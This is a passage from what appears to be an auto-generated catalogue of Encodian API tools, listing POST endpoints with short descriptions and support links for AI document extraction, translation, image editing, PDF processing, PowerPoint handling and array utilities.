Credit Card and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/19807871170460 via POST /api/v1/General/AIProcessCreditCard POST /api/v1/encodian/api/v1/General/AIProcessCreditCard. Scopes: api. encodian_post_api_v1_general_aiprocesshealthinsurancecardus (write) — Process a Health Insurance Card and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/18584148204956 via POST /api/v1/General/AIProcessHealthInsuranceCardUS POST /api/v1/encodian/api/v1/General/AIProcessHealthInsuranceCardUS. Scopes: api. encodian_post_api_v1_general_aiprocessiddocument (write) — Process an ID Document and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/18583935825308 via POST /api/v1/General/AIProcessIDDocument POST /api/v1/encodian/api/v1/General/AIProcessIDDocument. Scopes: api. encodian_post_api_v1_general_aiprocessinvoice (write) — Process an invoice and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/18583998185116 via POST /api/v1/General/AIProcessInvoice POST /api/v1/encodian/api/v1/General/AIProcessInvoice. Scopes: api. encodian_post_api_v1_general_aiprocessmarriagecertificateus (write) — Process a Marriage Certificate (US) and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/19807935722524 via POST /api/v1/General/AIProcessMarriageCertificateUS POST /api/v1/encodian/api/v1/General/AIProcessMarriageCertificateUS. Scopes: api. encodian_post_api_v1_general_aiprocessmortgageus (write) — Process a Mortgage document (US) and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/19808100431004 via POST /api/v1/General/AIProcessMortgageUS POST /api/v1/encodian/api/v1/General/AIProcessMortgageUS. Scopes: api. encodian_post_api_v1_general_aiprocesspaystubus (write) — Process a Pay Stub (US) and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/19808015461916 via POST /api/v1/General/AIProcessPayStubUS POST /api/v1/encodian/api/v1/General/AIProcessPayStubUS. Scopes: api. encodian_post_api_v1_general_aiprocessreceipt (write) — Process a receipt and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/18584183726876 via POST /api/v1/General/AIProcessReceipt POST /api/v1/encodian/api/v1/General/AIProcessReceipt. Scopes: api. encodian_post_api_v1_general_aiprocesstaxus (write) — Process a Tax Document (US) and extract data as a JSON object - https://support.encodian.com/hc/en-gb/articles/19808162127644 via POST /api/v1/General/AIProcessTaxUS POST /api/v1/encodian/api/v1/General/AIProcessTaxUS. Scopes: api. encodian_post_api_v1_general_airunprompttext (write) — Run the prompt provided with the selected Open AI Model - https://support.encodian.com/hc/en-gb/articles/19106024843932 via POST /api/v1/General/AIRunPromptText POST /api/v1/encodian/api/v1/General/AIRunPromptText. Scopes: api. encodian_post_api_v1_general_aispeechtotext (write) — Converts the speech from an audio file to text - https://support.encodian.com/hc/en-gb/articles/15851898717340 via POST /api/v1/General/AISpeechToText POST /api/v1/encodian/api/v1/General/AISpeechToText. Scopes: api. encodian_post_api_v1_general_aitranslatefile (write) — Translate the file provided into the designated language - https://support.encodian.com/hc/en-gb/articles/13790274285724 via POST /api/v1/General/AITranslateFile POST /api/v1/encodian/api/v1/General/AITranslateFile. Scopes: api. encodian_post_api_v1_general_aitranslatetext (write) — Translate the text provided into a single designated language - https://support.encodian.com/hc/en-gb/articles/13568846675996 via POST /api/v1/General/AITranslateText POST /api/v1/encodian/api/v1/General/AITranslateText. Scopes: api. encodian_post_api_v1_general_aitranslatetextmultiple (write) — Translate the text provided into multiple designated languages - https://support.encodian.com/hc/en-gb/articles/13670267593628 via POST /api/v1/General/AITranslateTextMultiple POST /api/v1/encodian/api/v1/General/AITranslateTextMultiple. Scopes: api. encodian_post_api_v1_general_buyadditionalcredits (write) — Purchase the specified amount of additional credits for the current Encodian subscription - https://support.encodian.com/hc/en-gb/articles/15983208616988 via POST /api/v1/General/BuyAdditionalCredits POST /api/v1/encodian/api/v1/General/BuyAdditionalCredits. Scopes: api. encodian_post_api_v1_general_extractfromarchive (write) — Extract files from the archive provided (ZIP, GZip, RAR, TAR, 7Zip + more) - https://support.encodian.com/hc/en-gb/articles/11853992723484 via POST /api/v1/General/ExtractFromArchive POST /api/v1/encodian/api/v1/General/ExtractFromArchive. Scopes: api. encodian_post_api_v1_general_extractfromarchivev2 (write) — Extract files from the archive provided (ZIP, GZip, RAR, TAR, 7Zip + more) - https://support.encodian.com/hc/en-gb/articles/21005901841564 via POST /api/v1/General/ExtractFromArchiveV2 POST /api/v1/encodian/api/v1/General/ExtractFromArchiveV2. Scopes: api. encodian_post_api_v1_general_getemailattachments (write) — Extract attachments from the email provided and return an array of files - https://support.encodian.com/hc/en-gb/articles/10531671561629 via POST /api/v1/General/GetEmailAttachments POST /api/v1/encodian/api/v1/General/GetEmailAttachments. Scopes: api. encodian_post_api_v1_general_getemailinfo (write) — Extract detailed information about the email provided (Email Format, Sender, Priority + more) - https://support.encodian.com/hc/en-gb/articles/12237799140252 via POST /api/v1/General/GetEmailInfo POST /api/v1/encodian/api/v1/General/GetEmailInfo. Scopes: api. encodian_post_api_v1_general_searchandreplacetext (write) — Find and replace text contained within a PDF or DOCX document - https://support.encodian.com/hc/en-gb/articles/360020937853-Search-and-Replace-Text via POST /api/v1/General/SearchAndReplaceText POST /api/v1/encodian/api/v1/General/SearchAndReplaceText. Scopes: api. encodian_post_api_v1_general_searchandreplacetextwithimage (write) — Find and replace text contained within a PDF or DOCX document with an image - https://support.encodian.com/hc/en-gb/articles/360027234874 via POST /api/v1/General/SearchAndReplaceTextWithImage POST /api/v1/encodian/api/v1/General/SearchAndReplaceTextWithImage. Scopes: api. encodian_post_api_v1_image_addimagewatermarktoimage (write) — Add an image watermark to the image provided - https://support.encodian.com/hc/en-gb/articles/8967068141597 via POST /api/v1/Image/AddImageWatermarkToImage POST /api/v1/encodian/api/v1/Image/AddImageWatermarkToImage. Scopes: api. encodian_post_api_v1_image_addtextwatermarktoimage (write) — Add a Text Watermark to the image provided - https://support.encodian.com/hc/en-gb/articles/360013560398-Add-Text-Watermark-To-Image via POST /api/v1/Image/AddTextWatermarkToImage POST /api/v1/encodian/api/v1/Image/AddTextWatermarkToImage. Scopes: api. encodian_post_api_v1_image_compressimage (write) — Compress the image provided - https://support.encodian.com/hc/en-gb/articles/360027350513-Compress-an-Image via POST /api/v1/Image/CompressImage POST /api/v1/encodian/api/v1/Image/CompressImage. Scopes: api. encodian_post_api_v1_image_cropimage (write) — Crop an image using border values or a rectangle - https://support.encodian.com/hc/en-gb/articles/10860483459740/ via POST /api/v1/Image/CropImage POST /api/v1/encodian/api/v1/Image/CropImage. Scopes: api. encodian_post_api_v1_image_flipimage (write) — Flip the image provided - https://support.encodian.com/hc/en-gb/articles/9798473339292 via POST /api/v1/Image/FlipImage POST /api/v1/encodian/api/v1/Image/FlipImage. Scopes: api. encodian_post_api_v1_image_getimageinfo (write) — Extract metadata from the image provided (Height, Width, Resolution, Format, File Size + more) - https://support.encodian.com/hc/en-gb/articles/4431662425489 via POST /api/v1/Image/GetImageInfo POST /api/v1/encodian/api/v1/Image/GetImageInfo. Scopes: api. encodian_post_api_v1_image_imagecleanupdocument (write) — Execute image clean up activities focussed on text based images such as Deskew, Rotate, Despeckle + more. via POST /api/v1/Image/ImageCleanUpDocument POST /api/v1/encodian/api/v1/Image/ImageCleanUpDocument. Scopes: api. encodian_post_api_v1_image_imagecleanupphoto (write) — Execute image clean up activities for standard photo images. via POST /api/v1/Image/ImageCleanUpPhoto POST /api/v1/encodian/api/v1/Image/ImageCleanUpPhoto. Scopes: api. encodian_post_api_v1_image_imageconvertformat (write) — Convert the format of the image provided - https://support.encodian.com/hc/en-gb/articles/360006617857-Convert-Image-Format via POST /api/v1/Image/ImageConvertFormat POST /api/v1/encodian/api/v1/Image/ImageConvertFormat. Scopes: api. encodian_post_api_v1_image_imageconverttograyscale (write) — Convert the image provided to grayscale via POST /api/v1/Image/ImageConvertToGrayscale POST /api/v1/encodian/api/v1/Image/ImageConvertToGrayscale. Scopes: api. encodian_post_api_v1_image_imageextracttext (write) — Extract text from the image provided - https://support.encodian.com/hc/en-gb/articles/360006998078-Extract-Text-from-Image-OCR via POST /api/v1/Image/ImageExtractText POST /api/v1/encodian/api/v1/Image/ImageExtractText. Scopes: api. encodian_post_api_v1_image_imageremoveexiftags (write) — Remove EXIF tags from the specified image - https://support.encodian.com/hc/en-gb/articles/4415700524817 via POST /api/v1/Image/ImageRemoveExifTags POST /api/v1/encodian/api/v1/Image/ImageRemoveExifTags. Scopes: api. encodian_post_api_v1_image_resizeimage (write) — Resize and compress the image provided - https://support.encodian.com/hc/en-gb/articles/360018591034-Resize-an-Image via POST /api/v1/Image/ResizeImage POST /api/v1/encodian/api/v1/Image/ResizeImage. Scopes: api. encodian_post_api_v1_image_rotateimage (write) — Rotate an image by specified degrees - https://support.encodian.com/hc/en-gb/articles/10041551840796 via POST /api/v1/Image/RotateImage POST /api/v1/encodian/api/v1/Image/RotateImage. Scopes: api. encodian_post_api_v1_image_rotateimagebyexifdata (write) — Rotate a JPG image based on its EXIF data - https://support.encodian.com/hc/en-gb/articles/16556447851804 via POST /api/v1/Image/RotateImageByExifData POST /api/v1/encodian/api/v1/Image/RotateImageByExifData. Scopes: api. encodian_post_api_v1_pdf_addattachmentstopdf (write) — Add one or more attachments to the PDF file provided - https://support.encodian.com/hc/en-gb/articles/8087678202653 via POST /api/v1/PDF/AddAttachmentsToPdf POST /api/v1/encodian/api/v1/PDF/AddAttachmentsToPdf. Scopes: api. encodian_post_api_v1_pdf_addhtmlheaderfooter (write) — Add a HTML header, footer or both to the specified PDF document - https://support.encodian.com/hc/en-gb/articles/360013808614 via POST /api/v1/PDF/AddHtmlHeaderFooter POST /api/v1/encodian/api/v1/PDF/AddHtmlHeaderFooter. Scopes: api. encodian_post_api_v1_pdf_addimagewatermark (write) — Add an image watermark to the specified PDF document using the standard options - https://support.encodian.com/hc/en-gb/articles/360012484094 via POST /api/v1/PDF/AddImageWatermark POST /api/v1/encodian/api/v1/PDF/AddImageWatermark. Scopes: api. encodian_post_api_v1_pdf_addimagewatermarkadvanced (write) — Add an image watermark to the specified PDF document using the standard options - https://support.encodian.com/hc/en-gb/articles/360012485874 via POST /api/v1/PDF/AddImageWatermarkAdvanced POST /api/v1/encodian/api/v1/PDF/AddImageWatermarkAdvanced. Scopes: api. encodian_post_api_v1_pdf_addpagenumbers (write) — Add page numbers to the PDF document provided - https://support.encodian.com/hc/en-gb/articles/360014464534 via POST /api/v1/PDF/AddPageNumbers POST /api/v1/encodian/api/v1/PDF/AddPageNumbers. Scopes: api. encodian_post_api_v1_pdf_addtextwatermark (write) — Add a text watermark to the specified PDF document using the standard options - https://support.encodian.com/hc/en-gb/articles/360012230494 via POST /api/v1/PDF/AddTextWatermark POST /api/v1/encodian/api/v1/PDF/AddTextWatermark. Scopes: api. encodian_post_api_v1_pdf_addtextwatermarkadvanced (write) — Add a text watermark to the specified PDF document using the advanced options - https://support.encodian.com/hc/en-gb/articles/360012345813 via POST /api/v1/PDF/AddTextWatermarkAdvanced POST /api/v1/encodian/api/v1/PDF/AddTextWatermarkAdvanced. Scopes: api. encodian_post_api_v1_pdf_aiocrpdfdocument (write) — Perform OCR on an existing PDF document using AI - https://support.encodian.com/hc/en-gb/articles/14286080106908 via POST /api/v1/PDF/AIOcrPdfDocument POST /api/v1/encodian/api/v1/PDF/AIOcrPdfDocument. Scopes: api. encodian_post_api_v1_pdf_compresspdf (write) — Compress and optimise a PDF document - https://support.encodian.com/hc/en-gb/articles/360019994857-Compress-PDF via POST /api/v1/PDF/CompressPdf POST /api/v1/encodian/api/v1/PDF/CompressPdf. Scopes: api. encodian_post_api_v1_pdf_deletepdfpages (write) — Delete specified pages from the pdf file provided - https://support.encodian.com/hc/en-gb/articles/13690317983132/ via POST /api/v1/PDF/DeletePdfPages POST /api/v1/encodian/api/v1/PDF/DeletePdfPages. Scopes: api. encodian_post_api_v1_pdf_extractattachmentsfrompdf (write) — Extract attachments from the PDF provided - https://support.encodian.com/hc/en-gb/articles/9896328763932 via POST /api/v1/PDF/ExtractAttachmentsFromPdf POST /api/v1/encodian/api/v1/PDF/ExtractAttachmentsFromPdf. Scopes: api. encodian_post_api_v1_pdf_extractimages (write) — Extract images from PDF using specified regions - https://support.encodian.com/hc/en-gb/articles/360006998058 via POST /api/v1/PDF/ExtractImages POST /api/v1/encodian/api/v1/PDF/ExtractImages. Scopes: api. encodian_post_api_v1_pdf_extractimagesall (write) — Extract images from PDF using specified pages - https://support.encodian.com/hc/en-gb/articles/15865358154268 via POST /api/v1/PDF/ExtractImagesAll POST /api/v1/encodian/api/v1/PDF/ExtractImagesAll. Scopes: api. encodian_post_api_v1_pdf_extractpdfpages (write) — Extract specified pages from the pdf file provided - https://support.encodian.com/hc/en-gb/articles/13958097048732 via POST /api/v1/PDF/ExtractPdfPages POST /api/v1/encodian/api/v1/PDF/ExtractPdfPages. Scopes: api. encodian_post_api_v1_pdf_extractpdfpagesbytext (write) — Extract pages which contain the specified text value from the pdf file provided - https://support.encodian.com/hc/en-gb/articles/15848695360028 via POST /api/v1/PDF/ExtractPdfPagesByText POST /api/v1/encodian/api/v1/PDF/ExtractPdfPagesByText. Scopes: api. encodian_post_api_v1_pdf_extracttextregions (write) — Extract text using OCR from 70+ files types using specified regions - https://support.encodian.com/hc/en-gb/articles/360015612353 via POST /api/v1/PDF/ExtractTextRegions POST /api/v1/encodian/api/v1/PDF/ExtractTextRegions. Scopes: api. encodian_post_api_v1_pdf_fillpdfform (write) — Fill the PDF Form provided with the JSON data provided - https://support.encodian.com/hc/en-gb/articles/360008556077 via POST /api/v1/PDF/FillPdfForm POST /api/v1/encodian/api/v1/PDF/FillPdfForm. Scopes: api. encodian_post_api_v1_pdf_flattenpdf (write) — Flatten a PDF document or PDF form - https://support.encodian.com/hc/en-gb/articles/4416473033105 via POST /api/v1/PDF/FlattenPdf POST /api/v1/encodian/api/v1/PDF/FlattenPdf. Scopes: api. encodian_post_api_v1_pdf_getpdfdocumentinfo (write) — Extract PDF Metadata information from the PDF docucment provided (Number of Pages, File Size + more) - https://support.encodian.com/hc/en-gb/articles/360002949358 via POST /api/v1/PDF/GetPdfDocumentInfo POST /api/v1/encodian/api/v1/PDF/GetPdfDocumentInfo. Scopes: api. encodian_post_api_v1_pdf_getpdfformdata (write) — Extract PDF form data from a PDF Form - https://support.encodian.com/hc/en-gb/articles/360035107433 via POST /api/v1/PDF/GetPdfFormData POST /api/v1/encodian/api/v1/PDF/GetPdfFormData. Scopes: api. encodian_post_api_v1_pdf_getpdftextlayer (write) — Extract the text layer from the PDF document provided - https://support.encodian.com/hc/en-gb/articles/360015539373 via POST /api/v1/PDF/GetPdfTextLayer POST /api/v1/encodian/api/v1/PDF/GetPdfTextLayer. Scopes: api. encodian_post_api_v1_pdf_inserthtmltopdf (write) — Insert the HTML provided into a PDF document - https://support.encodian.com/hc/en-gb/articles/360011784354 via POST /api/v1/PDF/InsertHtmlToPdf POST /api/v1/encodian/api/v1/PDF/InsertHtmlToPdf. Scopes: api. encodian_post_api_v1_pdf_mergearrayofdocumentstopdf (write) — Convert and merge an array of files to a single PDF document - https://support.encodian.com/hc/en-gb/articles/360014632213 via POST /api/v1/PDF/MergeArrayOfDocumentsToPdf POST /api/v1/encodian/api/v1/PDF/MergeArrayOfDocumentsToPdf. Scopes: api. encodian_post_api_v1_pdf_mergedocumentstopdf (write) — Convert and merge the files provided to a single PDF document - https://support.encodian.com/hc/en-gb/articles/360011886173 via POST /api/v1/PDF/MergeDocumentsToPdf POST /api/v1/encodian/api/v1/PDF/MergeDocumentsToPdf. Scopes: api. encodian_post_api_v1_pdf_ocrpdfdocument (write) — Perform OCR on an existing PDF document - https://support.encodian.com/hc/en-gb/articles/360012686653 via POST /api/v1/PDF/OcrPdfDocument POST /api/v1/encodian/api/v1/PDF/OcrPdfDocument. Scopes: api. encodian_post_api_v1_pdf_pdfcheckpassword (write) — Check if the PDF document provided is password protected - https://support.encodian.com/hc/en-gb/articles/19822372411676 via POST /api/v1/PDF/PdfCheckPassword POST /api/v1/encodian/api/v1/PDF/PdfCheckPassword. Scopes: api. encodian_post_api_v1_pdf_pdfcreatezugferdinvoice (write) — Creates a ZUGFeRD Invoice PDF document- https://support.encodian.com/hc/en-gb/articles/25232785892380 via POST /api/v1/PDF/PdfCreateZUGFeRDInvoice POST /api/v1/encodian/api/v1/PDF/PdfCreateZUGFeRDInvoice. Scopes: api. encodian_post_api_v1_pdf_pdfdeleteblankpages (write) — Delete blank pages from the PDF document provided - https://support.encodian.com/hc/en-gb/articles/20692191381788 via POST /api/v1/PDF/PdfDeleteBlankPages POST /api/v1/encodian/api/v1/PDF/PdfDeleteBlankPages. Scopes: api. encodian_post_api_v1_pdf_pdfextracthyperlinks (write) — Extract hyperlinks from a PDF Document - https://support.encodian.com/hc/en-gb/articles/19321854618268 via POST /api/v1/PDF/PdfExtractHyperlinks POST /api/v1/encodian/api/v1/PDF/PdfExtractHyperlinks. Scopes: api. encodian_post_api_v1_pdf_pdfextracttabledata (write) — Extract structured table data from the PDF docucment provided - https://support.encodian.com/hc/en-gb/articles/15064945594268 via POST /api/v1/PDF/PdfExtractTableData POST /api/v1/encodian/api/v1/PDF/PdfExtractTableData. Scopes: api. encodian_post_api_v1_pdf_pdfextracttextbypage (write) — Extract the text layer from the PDF document provided by page - https://support.encodian.com/hc/en-gb/articles/20683984513180 via POST /api/v1/PDF/PdfExtractTextByPage POST /api/v1/encodian/api/v1/PDF/PdfExtractTextByPage. Scopes: api. encodian_post_api_v1_pdf_pdfflattenfields (write) — Flatten specified fields in the PDF file provided - https://support.encodian.com/hc/en-gb/articles/15846471073180 via POST /api/v1/PDF/PdfFlattenFields POST /api/v1/encodian/api/v1/PDF/PdfFlattenFields. Scopes: api. encodian_post_api_v1_pdf_pdfgeneratebookmarks (write) — Generate bookmarks in the PDF document provided - https://support.encodian.com/hc/en-gb/articles/24104894573852 via POST /api/v1/PDF/PdfGenerateBookmarks POST /api/v1/encodian/api/v1/PDF/PdfGenerateBookmarks. Scopes: api. encodian_post_api_v1_pdf_pdfinsertpages (write) — Insert pages in the PDF document provided - https://support.encodian.com/hc/en-gb/articles/25401601825692 via POST /api/v1/PDF/PdfInsertPages POST /api/v1/encodian/api/v1/PDF/PdfInsertPages. Scopes: api. encodian_post_api_v1_pdf_pdfinserttoc (write) — Insert a 'Table of Contents' into the PDF document provided - https://support.encodian.com/hc/en-gb/articles/16455983120028 via POST /api/v1/PDF/PdfInsertToc POST /api/v1/encodian/api/v1/PDF/PdfInsertToc. Scopes: api. encodian_post_api_v1_pdf_pdflinearize (write) — Linearize the PDF document provided - https://support.encodian.com/hc/en-gb/articles/16502159981852 via POST /api/v1/PDF/PdfLinearize POST /api/v1/encodian/api/v1/PDF/PdfLinearize. Scopes: api. encodian_post_api_v1_pdf_pdfremovedigitalsignature (write) — Remove the digital signature from the PDF document provided - https://support.encodian.com/hc/en-gb/articles/19226009832348 via POST /api/v1/PDF/PdfRemoveDigitalSignature POST /api/v1/encodian/api/v1/PDF/PdfRemoveDigitalSignature. Scopes: api. encodian_post_api_v1_pdf_pdfreplacetextwithimage (write) — Find and replace text contained within a PDF document with an image - https://support.encodian.com/hc/en-gb/articles/15083146797084 via POST /api/v1/PDF/PdfReplaceTextWithImage POST /api/v1/encodian/api/v1/PDF/PdfReplaceTextWithImage. Scopes: api. encodian_post_api_v1_pdf_pdfsearchandreplacetext (write) — Find and replace text contained within a PDF document - https://support.encodian.com/hc/en-gb/articles/15962260285980 via POST /api/v1/PDF/PdfSearchAndReplaceText POST /api/v1/encodian/api/v1/PDF/PdfSearchAndReplaceText. Scopes: api. encodian_post_api_v1_pdf_pdfsetmetadata (write) — Set the metadata of the PDF document provided - https://support.encodian.com/hc/en-gb/articles/15925135243292 via POST /api/v1/PDF/PdfSetMetadata POST /api/v1/encodian/api/v1/PDF/PdfSetMetadata. Scopes: api. encodian_post_api_v1_pdf_pdfupdatehyperlinks (write) — Find and replace hyperlinks contained within the PDF document provided - https://support.encodian.com/hc/en-gb/articles/7437413638301 via POST /api/v1/PDF/PdfUpdateHyperlinks POST /api/v1/encodian/api/v1/PDF/PdfUpdateHyperlinks. Scopes: api. encodian_post_api_v1_pdf_redactpdf (write) — Apply the specified redactions to the PDF document provided - https://support.encodian.com/hc/en-gb/articles/360018607954 via POST /api/v1/PDF/RedactPdf POST /api/v1/encodian/api/v1/PDF/RedactPdf. Scopes: api. encodian_post_api_v1_pdf_removewatermarksfrompdf (write) — Remove specified watermark(s) from the PDF document provided - https://support.encodian.com/hc/en-gb/articles/7751328751645 via POST /api/v1/PDF/RemoveWatermarksFromPdf POST /api/v1/encodian/api/v1/PDF/RemoveWatermarksFromPdf. Scopes: api. encodian_post_api_v1_pdf_repairpdf (write) — Repair a PDF document - https://support.encodian.com/hc/en-gb/articles/4418809972753 via POST /api/v1/PDF/RepairPdf POST /api/v1/encodian/api/v1/PDF/RepairPdf. Scopes: api. encodian_post_api_v1_pdf_resizepdf (write) — Resize a PDF document - https://support.encodian.com/hc/en-gb/articles/12292028562588 via POST /api/v1/PDF/ResizePdf POST /api/v1/encodian/api/v1/PDF/ResizePdf. Scopes: api. encodian_post_api_v1_pdf_rotatepdfpages (write) — Rotate specified pages of the PDF document provided - https://support.encodian.com/hc/en-gb/articles/14798407011356 via POST /api/v1/PDF/RotatePdfPages POST /api/v1/encodian/api/v1/PDF/RotatePdfPages. Scopes: api. encodian_post_api_v1_pdf_securepdfdocument (write) — Encrypt and protect a PDF document - https://support.encodian.com/hc/en-gb/articles/360011330134-Secure-PDF-Document via POST /api/v1/PDF/SecurePdfDocument POST /api/v1/encodian/api/v1/PDF/SecurePdfDocument. Scopes: api. encodian_post_api_v1_pdf_setpdfprivileges (write) — Set the privledges assigned to the PDF document - https://support.encodian.com/hc/en-gb/articles/360011337094 via POST /api/v1/PDF/SetPdfPrivileges POST /api/v1/encodian/api/v1/PDF/SetPdfPrivileges. Scopes: api. encodian_post_api_v1_pdf_signpdf (write) — Apply a digital signature to the PDF document provided - https://support.encodian.com/hc/en-gb/articles/7117159708189 via POST /api/v1/PDF/SignPdf POST /api/v1/encodian/api/v1/PDF/SignPdf. Scopes: api. encodian_post_api_v1_pdf_splitdocument (write) — Split a PDF Document into multiple PDF Documents - https://support.encodian.com/hc/en-gb/articles/360002953277 via POST /api/v1/PDF/SplitDocument POST /api/v1/encodian/api/v1/PDF/SplitDocument. Scopes: api. encodian_post_api_v1_pdf_splitpdfbybarcode (write) — Split a PDF Document by Barcode, returning multiple PDF Documents - https://support.encodian.com/hc/en-gb/articles/360013629457 via POST /api/v1/PDF/SplitPdfByBarcode POST /api/v1/encodian/api/v1/PDF/SplitPdfByBarcode. Scopes: api. encodian_post_api_v1_pdf_splitpdfbytext (write) — Split a PDF Document by text into multiple PDF Documents - https://support.encodian.com/hc/en-gb/articles/360012726397 via POST /api/v1/PDF/SplitPdfByText POST /api/v1/encodian/api/v1/PDF/SplitPdfByText. Scopes: api. encodian_post_api_v1_pdf_unlockpdfdocument (write) — Decrypt and remove password protection from a PDF document - https://support.encodian.com/hc/en-gb/articles/360003714237 via POST /api/v1/PDF/UnlockPdfDocument POST /api/v1/encodian/api/v1/PDF/UnlockPdfDocument. Scopes: api. encodian_post_api_v1_pdf_validatepdftextlayer (write) — Validate whether a text layer is present within the PDF document provided - https://support.encodian.com/hc/en-gb/articles/14453068327196 via POST /api/v1/PDF/ValidatePdfTextLayer POST /api/v1/encodian/api/v1/PDF/ValidatePdfTextLayer. Scopes: api. encodian_post_api_v1_powerpoint_compresspowerpoint (write) — Compress the PowerPoint file provided - https://support.encodian.com/hc/en-gb/articles/7621965500189 via POST /api/v1/PowerPoint/CompressPowerPoint POST /api/v1/encodian/api/v1/PowerPoint/CompressPowerPoint. Scopes: api. encodian_post_api_v1_powerpoint_mergepresentations (write) — Merge an array of presentations to a single presentation - https://support.encodian.com/hc/en-gb/articles/4425652063761 via POST /api/v1/PowerPoint/MergePresentations POST /api/v1/encodian/api/v1/PowerPoint/MergePresentations. Scopes: api. encodian_post_api_v1_powerpoint_populatepowerpoint (write) — Populate a Microsoft PowerPoint file (PPTX) with the JSON data provided - https://support.encodian.com/hc/en-gb/articles/9715390966300 via POST /api/v1/PowerPoint/PopulatePowerPoint POST /api/v1/encodian/api/v1/PowerPoint/PopulatePowerPoint. Scopes: api. encodian_post_api_v1_powerpoint_powerpointdeleteslides (write) — Delete specified slides from the Microsoft PowerPoint file provided - https://support.encodian.com/hc/en-gb/articles/16535770370844 via POST /api/v1/PowerPoint/PowerPointDeleteSlides POST /api/v1/encodian/api/v1/PowerPoint/PowerPointDeleteSlides. Scopes: api. encodian_post_api_v1_powerpoint_powerpointsearchandreplacetext (write) — Find and replace text contained within a Microsoft PowerPoint file - https://support.encodian.com/hc/en-gb/articles/19804599079836 via POST /api/v1/PowerPoint/PowerPointSearchAndReplaceText POST /api/v1/encodian/api/v1/PowerPoint/PowerPointSearchAndReplaceText. Scopes: api. encodian_post_api_v1_powerpoint_powerpointsplit (write) — Split a Microsoft PowerPoint Document into multiple seperate files - https://support.encodian.com/hc/en-gb/articles/16517600430620 via POST /api/v1/PowerPoint/PowerPointSplit POST /api/v1/encodian/api/v1/PowerPoint/PowerPointSplit. Scopes: api. encodian_post_api_v1_trigr_managewebhook (write) — Manages subscribing to an Encodian Trigr Webhook via POST /api/v1/Trigr/ManageWebHook POST /api/v1/encodian/api/v1/Trigr/ManageWebHook. Scopes: api. encodian_post_api_v1_utilities_aesdecryption (write) — Decrypts an AES encrypted string using AES decryption - https://support.encodian.com/hc/en-gb/articles/13200819253660 via POST /api/v1/Utilities/AesDecryption POST /api/v1/encodian/api/v1/Utilities/AesDecryption. Scopes: api. encodian_post_api_v1_utilities_aesencryption (write) — Encrypts a plain text value (string) using AES encryption - https://support.encodian.com/hc/en-gb/articles/13200698504860 via POST /api/v1/Utilities/AesEncryption POST /api/v1/encodian/api/v1/Utilities/AesEncryption. Scopes: api. encodian_post_api_v1_utilities_arrayadditems (write) — Add one or more items to the array provided - https://support.encodian.com/hc/en-gb/articles/10565757970332 via POST /api/v1/Utilities/ArrayAddItems POST /api/v1/encodian/api/v1/Utilities/ArrayAddItems. Scopes: api. encodian_post_api_v1_utilities_arraycombine (write) — Combine two arrays on linked keys - https://support.encodian.com/hc/en-gb/articles/15423363008412 via POST /api/v1/Utilities/ArrayCombine POST /api/v1/encodian/api/v1/Utilities/ArrayCombine. Scopes: api. encodian_post_api_v1_utilities_arraycontainsvalue (write) — Checks if a value is contained within the array provided - https://support.encodian.com/hc/en-gb/articles/10242960376476 via POST /api/v1/Utilities/ArrayContainsValue POST /api/v1/encodian/api/v1/Utilities/ArrayContainsValue. Scopes: api. encodian_post_api_v1_utilities_arrayconverttojson (write) — Convert an array to a named JSON object - https://support.encodian.com/hc/en-gb/articles/12731808723612 via POST /api/v1/Utilities/ArrayConvertToJson POST /api/v1/encodian/api/v1/Utilities/ArrayConvertToJson. Scopes: api. encodian_post_api_v1_utilities_arrayconverttoxml (write) — Convert an array to a XML Object - https://support.encodian.com/hc/en-gb/articles/13964382131484 via POST /api/v1/Utilities/ArrayConvertToXml POST /api/v1/encodian/api/v1/Utilities/ArrayConvertToXml. Scopes: api. encodian_post_api_v1_utilities_arraycountitems (write) — Count the items contained within the array provided - https://support.encodian.com/hc/en-gb/articles/10284117199004 via POST /api/v1/Utilities/ArrayCountItems POST /api/v1/encodian/api/v1/Utilities/ArrayCountItems. Scopes: api. encodian_post_api_v1_utilities_arrayfilteritems (write) — Filter items from a JSON Array - https://support.encodian.com/hc/en-gb/articles/14460654575900 via POST /api/v1/Utilities/ArrayFilterItems POST /api/v1/encodian/api/v1/Utilities/ArrayFilterItems. Scopes: api. encodian_post_api_v1_utilities_arrayfilteritemsviaregex (write) — Filter items from a JSON Array using a Regular Expression - https://support.encodian.com/hc/en-gb/articles/14610830128796/ via POST /api/v1/Utilities/ArrayFilterItemsViaRegex POST /api/v1/encodian/api/v1/Utilities/ArrayFilterItemsViaRegex. Scopes: api. encodian_post_api_v1_utilities_arraygetitems (write) — Get the specified item(s) from the JSON array(s) provided - https://support.encodian.com/hc/en-gb/articles/10564816481564 via POST /api/v1/Utilities/ArrayGetItems POST /api/v1/encodian/api/v1/Utilities/ArrayGetItems. Scopes: api. encodian_post_api_v1_utilities_arraymerge (write) — Merge the two JSON arrays provided - https://support.encodian.com/hc/en-gb/articles/15979235461276/ via POST /api/v1/Utilities/ArrayMerge POST /api/v1/encodian/api/v1/Utilities/ArrayMerge. Scopes: api. encodian_post_api_v1_utilities_arrayremoveduplicates (write) — Remove duplicates from the array provided - https://support.encodian.com/hc/en-gb/articles/10614334072476 via POST /api/v1/Utilities/ArrayRemoveDuplicates POST /api/v1/encodian/api/v1/Utilities/ArrayRemoveDuplicates. Scopes: api. encodian_post_api_v1_utilities_arrayremoveitems (write) — Remove one or more items from the array provided - https://support.encodian.com/hc/en-gb/articles/10597605184028 via POST /api/v1/Utilities/ArrayRemoveItems POST /api/v1/encodian/api/v1/Utilities/ArrayRemoveItems. Scopes: api. encodian_post_api_v1_utilities_arrayremoveitemsregex (write) — Remove items from a JSON Array using a Regular Expression - https://support.encodian.com/hc/en-gb/articles/11196894053020 via POST /api/v1/Utilities/ArrayRemoveItemsRegex POST /api/v1/encodian/api/v1/Utilities/ArrayRemoveItemsRegex. Scopes: api. encodian_post_api_v1_utilities_arrayreplacevalues (write) — Replaces an array or specified item with the value provided - https://support.encodian.com/hc/en-gb/articles/10624152774812 via POST /api/v1/Utilities/ArrayReplaceValues POST /api/v1/encodian/api/v1/Utilities/ArrayReplaceValues. Scopes: api. encodian_post_api_v1_utilities_arrayreverseitems (write) — Reverse the items in the JSON array provided - 